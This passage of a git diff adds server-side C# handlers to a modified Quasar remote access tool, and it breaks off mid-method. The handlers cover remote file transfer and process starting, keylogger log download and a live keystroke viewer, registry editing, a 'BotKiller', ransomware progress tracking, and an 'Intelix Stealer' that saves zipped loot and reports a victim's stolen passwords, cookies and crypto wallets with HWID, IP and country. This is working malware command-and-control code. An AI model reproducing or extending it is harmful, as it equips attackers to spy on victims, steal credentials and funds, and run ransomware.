+ } + } + + public class OutputEventArgs : EventArgs + { + public string Output { get; } + public bool IsError { get; } + + public OutputEventArgs(string output, bool isError) + { + Output = output; + IsError = isError; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/BotKillerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/BotKillerHandler.cs new file mode 100755 index 0000000..d2cc278 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/BotKillerHandler.cs @@ -0,0 +1,29 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Forms; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + public class BotKillerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is BotKillerResult; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case BotKillerResult result: + Execute((Client)sender, result); + break; + } + } + + private void Execute(Client client, BotKillerResult result) + { + FrmBotKiller.Instance?.AddResult(client, result); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/ClientStatusHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/ClientStatusHandler.cs new file mode 100755 index 0000000..58d1b5d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/ClientStatusHandler.cs @@ -0,0 +1,112 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + ///

+ /// Handles messages for the interaction with the remote client status. + /// + public class ClientStatusHandler : MessageProcessorBase + { + /// + /// Represents the method that will handle status updates. + /// + /// The message handler which raised the event. + /// The client which updated the status. + /// The new status. + public delegate void StatusUpdatedEventHandler(object sender, Client client, string statusMessage); + + /// + /// Represents the method that will handle user status updates. + /// + /// The message handler which raised the event. + /// The client which updated the user status. + /// The new user status. + public delegate void UserStatusUpdatedEventHandler(object sender, Client client, UserStatus userStatusMessage); + + /// + /// Raised when a client updated its status. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event StatusUpdatedEventHandler StatusUpdated; + + /// + /// Raised when a client updated its user status. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event UserStatusUpdatedEventHandler UserStatusUpdated; + + /// + /// Reports an updated status. + /// + /// The client which updated the status. + /// The new status. + private void OnStatusUpdated(Client client, string statusMessage) + { + SynchronizationContext.Post(c => + { + var handler = StatusUpdated; + handler?.Invoke(this, (Client) c, statusMessage); + }, client); + } + + /// + /// Reports an updated user status. + /// + /// The client which updated the user status. + /// The new user status. + private void OnUserStatusUpdated(Client client, UserStatus userStatusMessage) + { + SynchronizationContext.Post(c => + { + var handler = UserStatusUpdated; + handler?.Invoke(this, (Client) c, userStatusMessage); + }, client); + } + + /// + /// Initializes a new instance of the class. + /// + public ClientStatusHandler() : base(true) + { + } + + /// + public override bool CanExecute(IMessage message) => message is SetStatus || message is SetUserStatus; + + /// + public override bool CanExecuteFrom(ISender sender) => true; + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case SetStatus status: + Execute((Client) sender, status); + break; + case SetUserStatus userStatus: + Execute((Client) sender, userStatus); + break; + } + } + + private void Execute(Client client, SetStatus message) + { + OnStatusUpdated(client, message.Message); + } + + private void Execute(Client client, SetUserStatus message) + { + OnUserStatusUpdated(client, message.Message); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/FileManagerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/FileManagerHandler.cs new file mode 100755 index 0000000..d2f2c64 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/FileManagerHandler.cs @@ -0,0 +1,587 @@ +using Quasar.Common.Enums; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Enums; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Threading; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote files and directories. + /// + public class FileManagerHandler : MessageProcessorBase, IDisposable + { + /// + /// Represents the method that will handle drive changes. + /// + /// The message processor which raised the event. + /// All currently available drives. + public delegate void DrivesChangedEventHandler(object sender, Drive[] drives); + + /// + /// Represents the method that will handle directory changes. + /// + /// The message processor which raised the event. + /// The remote path of the directory. + /// The directory content. + public delegate void DirectoryChangedEventHandler(object sender, string remotePath, FileSystemEntry[] items); + + /// + /// Represents the method that will handle file transfer updates. + /// + /// The message processor which raised the event. + /// The updated file transfer. + public delegate void FileTransferUpdatedEventHandler(object sender, FileTransfer transfer); + + /// + /// Raised when drives changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DrivesChangedEventHandler DrivesChanged; + + /// + /// Raised when a directory changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DirectoryChangedEventHandler DirectoryChanged; + + /// + /// Raised when a file transfer updated. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event FileTransferUpdatedEventHandler FileTransferUpdated; + + /// + /// Reports changed remote drives. + /// + /// The current remote drives. + private void OnDrivesChanged(Drive[] drives) + { + SynchronizationContext.Post(d => + { + var handler = DrivesChanged; + handler?.Invoke(this, (Drive[])d); + }, drives); + } + + /// + /// Reports a directory change. + /// + /// The remote path of the directory. + /// The directory content. + private void OnDirectoryChanged(string remotePath, FileSystemEntry[] items) + { + SynchronizationContext.Post(i => + { + var handler = DirectoryChanged; + handler?.Invoke(this, remotePath, (FileSystemEntry[])i); + }, items); + } + + /// + /// Reports updated file transfers. + /// + /// The updated file transfer. + private void OnFileTransferUpdated(FileTransfer transfer) + { + SynchronizationContext.Post(t => + { + var handler = FileTransferUpdated; + handler?.Invoke(this, (FileTransfer)t); + }, transfer.Clone()); + } + + /// + /// Keeps track of all active file transfers. Finished or canceled transfers get removed. + /// + private readonly List _activeFileTransfers = new List(); + + /// + /// Used in lock statements to synchronize access between UI thread and thread pool. + /// + private readonly object _syncLock = new object(); + + /// + /// The client which is associated with this file manager handler. + /// + private readonly Client _client; + + /// + /// Used to only allow two simultaneous file uploads. + /// + private readonly Semaphore _limitThreads = new Semaphore(2, 2); + + /// + /// Path to the base download directory of the client. + /// + private readonly string _baseDownloadPath; + + private readonly TaskManagerHandler _taskManagerHandler; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + /// Optional sub directory name. + public FileManagerHandler(Client client, string subDirectory = "") : base(true) + { + _client = client; + _baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, subDirectory); + _taskManagerHandler = new TaskManagerHandler(client); + _taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed; + MessageHandler.Register(_taskManagerHandler); + } + + /// + public override bool CanExecute(IMessage message) => message is FileTransferChunk || + message is FileTransferCancel || + message is FileTransferComplete || + message is GetDrivesResponse || + message is GetDirectoryResponse || + message is SetStatusFileManager; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case FileTransferChunk file: + Execute(sender, file); + break; + case FileTransferCancel cancel: + Execute(sender, cancel); + break; + case FileTransferComplete complete: + Execute(sender, complete); + break; + case GetDrivesResponse drive: + Execute(sender, drive); + break; + case GetDirectoryResponse directory: + Execute(sender, directory); + break; + case SetStatusFileManager status: + Execute(sender, status); + break; + } + } + + /// + /// Begins downloading a file from the client. + /// + /// The remote path of the file to download. + /// The local file name. + /// Overwrite the local file with the newly downloaded. + public void BeginDownloadFile(string remotePath, string localFileName = "", bool overwrite = false) + { + if (string.IsNullOrEmpty(remotePath)) + return; + + int id = GetUniqueFileTransferId(); + + if (!Directory.Exists(_baseDownloadPath)) + Directory.CreateDirectory(_baseDownloadPath); + + string fileName = string.IsNullOrEmpty(localFileName) ? Path.GetFileName(remotePath) : localFileName; + string localPath = Path.Combine(_baseDownloadPath, fileName); + + int i = 1; + while (!overwrite && File.Exists(localPath)) + { + // rename file if it exists already + var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(localPath), i, Path.GetExtension(localPath)); + localPath = Path.Combine(_baseDownloadPath, newFileName); + i++; + } + + var transfer = new FileTransfer + { + Id = id, + Type = TransferType.Download, + LocalPath = localPath, + RemotePath = remotePath, + Status = "Pending...", + //Size = fileSize, TODO: Add file size here + TransferredSize = 0 + }; + + try + { + transfer.FileSplit = new FileSplit(transfer.LocalPath, FileAccess.Write); + } + catch (Exception) + { + transfer.Status = "Error writing file"; + OnFileTransferUpdated(transfer); + return; + } + + lock (_syncLock) + { + _activeFileTransfers.Add(transfer); + } + + OnFileTransferUpdated(transfer); + + _client.Send(new FileTransferRequest {RemotePath = remotePath, Id = id}); + } + + /// + /// Begins uploading a file to the client. + /// + /// The local path of the file to upload. + /// Save the uploaded file to this remote path. If empty, generate a temporary file name. + public void BeginUploadFile(string localPath, string remotePath = "") + { + new Thread(() => + { + int id = GetUniqueFileTransferId(); + + FileTransfer transfer = new FileTransfer + { + Id = id, + Type = TransferType.Upload, + LocalPath = localPath, + RemotePath = remotePath, + Status = "Pending...", + TransferredSize = 0 + }; + + try + { + transfer.FileSplit = new FileSplit(localPath, FileAccess.Read); + } + catch (Exception) + { + transfer.Status = "Error reading file"; + OnFileTransferUpdated(transfer); + return; + } + + transfer.Size = transfer.FileSplit.FileSize; + + lock (_syncLock) + { + _activeFileTransfers.Add(transfer); + } + + transfer.Size = transfer.FileSplit.FileSize; + OnFileTransferUpdated(transfer); + + _limitThreads.WaitOne(); + try + { + foreach (var chunk in transfer.FileSplit) + { + transfer.TransferredSize += chunk.Data.Length; + decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2); + transfer.Status = $"Uploading...({progress}%)"; + OnFileTransferUpdated(transfer); + + bool transferCanceled; + lock (_syncLock) + { + transferCanceled = _activeFileTransfers.Count(f => f.Id == transfer.Id) == 0; + } + + if (transferCanceled) + { + transfer.Status = "Canceled"; + OnFileTransferUpdated(transfer); + _limitThreads.Release(); + return; + } + + // TODO: blocking sending might not be required, needs further testing + _client.SendBlocking(new FileTransferChunk + { + Id = id, + Chunk = chunk, + FilePath = remotePath, + FileSize = transfer.Size + }); + } + } + catch (Exception) + { + lock (_syncLock) + { + // if transfer is already cancelled, just return + if (_activeFileTransfers.Count(f => f.Id == transfer.Id) == 0) + { + _limitThreads.Release(); + return; + } + } + transfer.Status = "Error reading file"; + OnFileTransferUpdated(transfer); + CancelFileTransfer(transfer.Id); + _limitThreads.Release(); + return; + } + + _limitThreads.Release(); + }).Start(); + } + + /// + /// Cancels a file transfer. + /// + /// The id of the file transfer to cancel. + public void CancelFileTransfer(int transferId) + { + _client.Send(new FileTransferCancel {Id = transferId}); + } + + /// + /// Renames a remote file or directory. + /// + /// The remote file or directory path to rename. + /// The new name of the remote file or directory path. + /// The type of the file (file or directory). + public void RenameFile(string remotePath, string newPath, FileType type) + { + _client.Send(new DoPathRename + { + Path = remotePath, + NewPath = newPath, + PathType = type + }); + } + + public void CopyFile(string sourcePath, string destinationPath, FileType type) + { + _client.Send(new DoPathCopy + { + SourcePath = sourcePath, + DestinationPath = destinationPath, + PathType = type + }); + } + + /// + /// Deletes a remote file or directory. + /// + /// The remote file or directory path. + /// The type of the file (file or directory). + public void DeleteFile(string remotePath, FileType type) + { + _client.Send(new DoPathDelete {Path = remotePath, PathType = type}); + } + + /// + /// Starts a new process remotely. + /// + /// The remote path used for starting the new process. + public void StartProcess(string remotePath) + { + _taskManagerHandler.StartProcess(remotePath); + } + + /// + /// Adds an item to the startup of the client. + /// + /// The startup item to add. + public void AddToStartup(StartupItem item) + { + _client.Send(new DoStartupItemAdd {StartupItem = item}); + } + + /// + /// Gets the directory contents for the remote path. + /// + /// The remote path of the directory. + public void GetDirectoryContents(string remotePath) + { + _client.Send(new GetDirectory {RemotePath = remotePath}); + } + + /// + /// Refreshes the remote drives. + /// + public void RefreshDrives() + { + _client.Send(new GetDrives()); + } + + private void Execute(ISender client, FileTransferChunk message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer == null) + return; + + transfer.Size = message.FileSize; + transfer.TransferredSize += message.Chunk.Data.Length; + + try + { + transfer.FileSplit.WriteChunk(message.Chunk); + } + catch (Exception) + { + transfer.Status = "Error writing file"; + OnFileTransferUpdated(transfer); + CancelFileTransfer(transfer.Id); + return; + } + + decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); + transfer.Status = $"Downloading...({progress}%)"; + + OnFileTransferUpdated(transfer); + } + + private void Execute(ISender client, FileTransferCancel message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer != null) + { + transfer.Status = message.Reason; + OnFileTransferUpdated(transfer); + RemoveFileTransfer(transfer.Id); + // don't keep un-finished files + if (transfer.Type == TransferType.Download) + File.Delete(transfer.LocalPath); + } + } + + private void Execute(ISender client, FileTransferComplete message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer != null) + { + transfer.RemotePath = message.FilePath; // required for temporary file names generated on the client + transfer.Status = "Completed"; + RemoveFileTransfer(transfer.Id); + OnFileTransferUpdated(transfer); + } + } + + private void Execute(ISender client, GetDrivesResponse message) + { + if (message.Drives?.Length == 0) + return; + + OnDrivesChanged(message.Drives); + } + + private void Execute(ISender client, GetDirectoryResponse message) + { + if (message.Items == null) + { + message.Items = new FileSystemEntry[0]; + } + OnDirectoryChanged(message.RemotePath, message.Items); + } + + private void Execute(ISender client, SetStatusFileManager message) + { + OnReport(message.Message); + } + + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) + { + if (action != ProcessAction.Start) return; + OnReport(result ? "Process started successfully" : "Process failed to start"); + } + + /// + /// Removes a file transfer given the transfer id. + /// + /// The file transfer id. + private void RemoveFileTransfer(int transferId) + { + lock (_syncLock) + { + var transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == transferId); + transfer?.FileSplit?.Dispose(); + _activeFileTransfers.RemoveAll(s => s.Id == transferId); + } + } + + /// + /// Generates a unique file transfer id. + /// + /// A unique file transfer id. + private int GetUniqueFileTransferId() + { + int id; + lock (_syncLock) + { + do + { + id = FileTransfer.GetRandomTransferId(); + // generate new id until we have a unique one + } while (_activeFileTransfers.Any(f => f.Id == id)); + } + + return id; + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_syncLock) + { + foreach (var transfer in _activeFileTransfers) + { + _client.Send(new FileTransferCancel {Id = transfer.Id}); + transfer.FileSplit?.Dispose(); + if (transfer.Type == TransferType.Download) + File.Delete(transfer.LocalPath); + } + + _activeFileTransfers.Clear(); + } + + MessageHandler.Unregister(_taskManagerHandler); + _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/IntelixStealerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/IntelixStealerHandler.cs new file mode 100755 index 0000000..0a70030 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/IntelixStealerHandler.cs @@ -0,0 +1,77 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using Quasar.Server.Helper; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Messages +{ + public class IntelixStealerHandler : MessageProcessorBase + { + public IntelixStealerHandler() : base(true) + { + } + + public override bool CanExecute(IMessage message) => message is GetIntelixStealerLogsResponse; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetIntelixStealerLogsResponse response: + Execute(sender, response); + break; + } + } + + private void Execute(ISender client, GetIntelixStealerLogsResponse message) + { + if (!message.Success) + { + MessageBox.Show($"Intelix Stealer failed: {message.ErrorMessage}", + "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + try + { + // Get client-specific folder for Intelix stealer results + var quasarClient = client as Client; + if (quasarClient == null) + { + MessageBox.Show("Invalid client reference.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + string clientFolder = ClientDataManager.GetClientFolder(quasarClient, "Intelix"); + string pcName = quasarClient.Value.PcName.Replace(":", "_").Replace("\\", "_").Replace("/", "_"); + string fileName = $"Intelix_{pcName}.zip"; + string filePath = Path.Combine(clientFolder, fileName); + + File.WriteAllBytes(filePath, message.ZipData); + + // Show results form + using (var resultsForm = new Forms.FrmIntelixResults( + filePath, + message.Hwid, + message.PublicIp, + message.CountryCode, + message.PasswordCount, + message.CookieCount, + message.WalletCount)) + { + resultsForm.ShowDialog(); + } + } + catch (Exception ex) + { + MessageBox.Show($"Error saving Intelix logs: {ex.Message}", + "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/KeyloggerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/KeyloggerHandler.cs new file mode 100755 index 0000000..41a5671 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/KeyloggerHandler.cs @@ -0,0 +1,165 @@ +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.IO; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote keylogger. + /// + public class KeyloggerHandler : MessageProcessorBase, IDisposable + { + /// + /// The client which is associated with this keylogger handler. + /// + private readonly Client _client; + + /// + /// The file manager handler used to retrieve keylogger logs from the client. + /// + private readonly FileManagerHandler _fileManagerHandler; + + /// + /// The remote path of the keylogger logs directory. + /// + private string _remoteKeyloggerDirectory; + + /// + /// The amount of all running log transfers. + /// + private int _allTransfers; + + /// + /// The amount of all completed log transfers. + /// + private int _completedTransfers; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public KeyloggerHandler(Client client) : base(true) + { + _client = client; + _fileManagerHandler = new FileManagerHandler(client, "Logs\\"); + _fileManagerHandler.DirectoryChanged += DirectoryChanged; + _fileManagerHandler.FileTransferUpdated += FileTransferUpdated; + _fileManagerHandler.ProgressChanged += StatusUpdated; + MessageHandler.Register(_fileManagerHandler); + } + + /// + public override bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectoryResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetKeyloggerLogsDirectoryResponse logsDirectory: + Execute(sender, logsDirectory); + break; + } + } + + /// + /// Retrieves the keylogger logs and begins downloading them. + /// + public void RetrieveLogs() + { + _client.Send(new GetKeyloggerLogsDirectory()); + } + + private void Execute(ISender client, GetKeyloggerLogsDirectoryResponse message) + { + _remoteKeyloggerDirectory = message.LogsDirectory; + client.Send(new GetDirectory {RemotePath = _remoteKeyloggerDirectory}); + } + + private string GetDownloadProgress(int allTransfers, int completedTransfers) + { + decimal progress = Math.Round((decimal)((double)completedTransfers / (double)allTransfers * 100.0), 2); + return $"Downloading...({progress}%)"; + } + + private void StatusUpdated(object sender, string value) + { + // called when directory does not exist or access is denied + OnReport($"No logs found ({value})"); + } + + private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items) + { + if (items.Length == 0) + { + OnReport("No logs found"); + return; + } + + _allTransfers = items.Length; + _completedTransfers = 0; + OnReport(GetDownloadProgress(_allTransfers, _completedTransfers)); + + foreach (var item in items) + { + // don't escape from download directory + if (FileHelper.HasIllegalCharacters(item.Name)) + { + // disconnect malicious client + _client.Disconnect(); + return; + } + + _fileManagerHandler.BeginDownloadFile(Path.Combine(_remoteKeyloggerDirectory, item.Name), item.Name + ".html", true); + } + } + + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + if (transfer.Status == "Completed") + { + try + { + _completedTransfers++; + File.WriteAllText(transfer.LocalPath, FileHelper.ReadLogFile(transfer.LocalPath, _client.Value.AesInstance)); + OnReport(_allTransfers == _completedTransfers + ? "Successfully retrieved all logs" + : GetDownloadProgress(_allTransfers, _completedTransfers)); + } + catch (Exception) + { + OnReport("Failed to decrypt and write logs"); + } + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + MessageHandler.Unregister(_fileManagerHandler); + _fileManagerHandler.ProgressChanged -= StatusUpdated; + _fileManagerHandler.FileTransferUpdated -= FileTransferUpdated; + _fileManagerHandler.DirectoryChanged -= DirectoryChanged; + _fileManagerHandler.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/LiveKeyloggerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/LiveKeyloggerHandler.cs new file mode 100755 index 0000000..f3d1561 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/LiveKeyloggerHandler.cs @@ -0,0 +1,55 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Forms; +using Quasar.Server.Networking; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Server.Messages +{ + public class LiveKeyloggerHandler : IMessageProcessor + { + private static readonly Dictionary _openForms = new Dictionary(); + + public bool CanExecute(IMessage message) => message is LiveKeystrokeData; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is LiveKeystrokeData data && sender is Client client) + { + lock (_openForms) + { + if (_openForms.ContainsKey(client)) + { + _openForms[client].AddKeystroke(data.WindowTitle, data.Keystroke); + } + } + } + } + + public static FrmLiveKeylogger CreateOrGetForm(Client client) + { + lock (_openForms) + { + if (_openForms.ContainsKey(client)) + { + return _openForms[client]; + } + + var form = new FrmLiveKeylogger(client); + form.FormClosed += (s, e) => + { + lock (_openForms) + { + _openForms.Remove(client); + } + }; + + _openForms.Add(client, form); + return form; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/RansomwareHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/RansomwareHandler.cs new file mode 100755 index 0000000..a3f22a3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/RansomwareHandler.cs @@ -0,0 +1,59 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Forms; +using Quasar.Server.Networking; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Server.Messages +{ + public class RansomwareHandler : IMessageProcessor + { + private static readonly Dictionary _forms = new Dictionary(); + + public bool CanExecute(IMessage message) => message is RansomwareResponse; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case RansomwareResponse response: + Execute((Client)sender, response); + break; + } + } + + private void Execute(Client client, RansomwareResponse response) + { + lock (_forms) + { + if (_forms.ContainsKey(client)) + { + _forms[client].UpdateProgress(response); + } + } + } + + public static void RegisterForm(Client client, FrmRansomware form) + { + lock (_forms) + { + if (_forms.ContainsKey(client)) + { + _forms[client].Close(); + } + _forms[client] = form; + } + } + + public static void UnregisterForm(Client client) + { + lock (_forms) + { + _forms.Remove(client); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/RegistryHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/RegistryHandler.cs new file mode 100755 index 0000000..157457c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/RegistryHandler.cs @@ -0,0 +1,413 @@ +using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote registry. + /// + public class RegistryHandler : MessageProcessorBase + { + /// + /// The client which is associated with this registry handler. + /// + private readonly Client _client; + + public delegate void KeysReceivedEventHandler(object sender, string rootKey, RegSeekerMatch[] matches); + public delegate void KeyCreatedEventHandler(object sender, string parentPath, RegSeekerMatch match); + public delegate void KeyDeletedEventHandler(object sender, string parentPath, string subKey); + public delegate void KeyRenamedEventHandler(object sender, string parentPath, string oldSubKey, string newSubKey); + public delegate void ValueCreatedEventHandler(object sender, string keyPath, RegValueData value); + public delegate void ValueDeletedEventHandler(object sender, string keyPath, string valueName); + public delegate void ValueRenamedEventHandler(object sender, string keyPath, string oldValueName, string newValueName); + public delegate void ValueChangedEventHandler(object sender, string keyPath, RegValueData value); + + public event KeysReceivedEventHandler KeysReceived; + public event KeyCreatedEventHandler KeyCreated; + public event KeyDeletedEventHandler KeyDeleted; + public event KeyRenamedEventHandler KeyRenamed; + public event ValueCreatedEventHandler ValueCreated; + public event ValueDeletedEventHandler ValueDeleted; + public event ValueRenamedEventHandler ValueRenamed; + public event ValueChangedEventHandler ValueChanged; + + /// + /// Reports initially received registry keys. + /// + /// The root registry key name. + /// The child registry keys. + private void OnKeysReceived(string rootKey, RegSeekerMatch[] matches) + { + SynchronizationContext.Post(t => + { + var handler = KeysReceived; + handler?.Invoke(this, rootKey, (RegSeekerMatch[]) t); + }, matches); + } + + /// + /// Reports created registry keys. + /// + /// The registry key parent path. + /// The created registry key. + private void OnKeyCreated(string parentPath, RegSeekerMatch match) + { + SynchronizationContext.Post(t => + { + var handler = KeyCreated; + handler?.Invoke(this, parentPath, (RegSeekerMatch) t); + }, match); + } + + /// + /// Reports deleted registry keys. + /// + /// The registry key parent path. + /// The registry sub key name. + private void OnKeyDeleted(string parentPath, string subKey) + { + SynchronizationContext.Post(t => + { + var handler = KeyDeleted; + handler?.Invoke(this, parentPath, (string) t); + }, subKey); + } + + /// + /// Reports renamed registry keys. + /// + /// The registry key parent path. + /// The old registry sub key name. + /// The new registry sub key name. + private void OnKeyRenamed(string parentPath, string oldSubKey, string newSubKey) + { + SynchronizationContext.Post(t => + { + var handler = KeyRenamed; + handler?.Invoke(this, parentPath, oldSubKey, (string) t); + }, newSubKey); + } + + /// + /// Reports created registry values. + /// + /// The registry key path. + /// The created value. + private void OnValueCreated(string keyPath, RegValueData value) + { + SynchronizationContext.Post(t => + { + var handler = ValueCreated; + handler?.Invoke(this, keyPath, (RegValueData)t); + }, value); + } + + /// + /// Reports deleted registry values. + /// + /// The registry key path. + /// The value name. + private void OnValueDeleted(string keyPath, string valueName) + { + SynchronizationContext.Post(t => + { + var handler = ValueDeleted; + handler?.Invoke(this, keyPath, (string) t); + }, valueName); + } + + /// + /// Reports renamed registry values. + /// + /// The registry key path. + /// The old value name. + /// The new value name. + private void OnValueRenamed(string keyPath, string oldValueName, string newValueName) + { + SynchronizationContext.Post(t => + { + var handler = ValueRenamed; + handler?.Invoke(this, keyPath, oldValueName, (string) t); + }, newValueName); + } + + /// + /// Reports changed registry values. + /// + /// The registry key path. + /// The new value. + private void OnValueChanged(string keyPath, RegValueData value) + { + SynchronizationContext.Post(t => + { + var handler = ValueChanged; + handler?.Invoke(this, keyPath, (RegValueData) t); + }, value); + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RegistryHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetRegistryKeysResponse || + message is GetCreateRegistryKeyResponse || + message is GetDeleteRegistryKeyResponse || + message is GetRenameRegistryKeyResponse || + message is GetCreateRegistryValueResponse || + message is GetDeleteRegistryValueResponse || + message is GetRenameRegistryValueResponse || + message is GetChangeRegistryValueResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetRegistryKeysResponse keysResp: + Execute(sender, keysResp); + break; + case GetCreateRegistryKeyResponse createKeysResp: + Execute(sender, createKeysResp); + break; + case GetDeleteRegistryKeyResponse deleteKeysResp: + Execute(sender, deleteKeysResp); + break; + case GetRenameRegistryKeyResponse renameKeysResp: + Execute(sender, renameKeysResp); + break; + case GetCreateRegistryValueResponse createValueResp: + Execute(sender, createValueResp); + break; + case GetDeleteRegistryValueResponse deleteValueResp: + Execute(sender, deleteValueResp); + break; + case GetRenameRegistryValueResponse renameValueResp: + Execute(sender, renameValueResp); + break; + case GetChangeRegistryValueResponse changeValueResp: + Execute(sender, changeValueResp); + break; + } + } + + /// + /// Loads the registry keys of a given root key. + /// + /// The root key name. + public void LoadRegistryKey(string rootKeyName) + { + _client.Send(new DoLoadRegistryKey + { + RootKeyName = rootKeyName + }); + } + + /// + /// Creates a registry key at the given parent path. + /// + /// The parent path. + public void CreateRegistryKey(string parentPath) + { + _client.Send(new DoCreateRegistryKey + { + ParentPath = parentPath + }); + } + + /// + /// Deletes the given registry key. + /// + /// The parent path of the registry key to delete. + /// The registry key name to delete. + public void DeleteRegistryKey(string parentPath, string keyName) + { + _client.Send(new DoDeleteRegistryKey + { + ParentPath = parentPath, + KeyName = keyName + }); + } + + /// + /// Renames the given registry key. + /// + /// The parent path of the registry key to rename. + /// The old name of the registry key. + /// The new name of the registry key. + public void RenameRegistryKey(string parentPath, string oldKeyName, string newKeyName) + { + _client.Send(new DoRenameRegistryKey + { + ParentPath = parentPath, + OldKeyName = oldKeyName, + NewKeyName = newKeyName + }); + } + + /// + /// Creates a registry key value. + /// + /// The registry key path. + /// The kind of registry key value. + public void 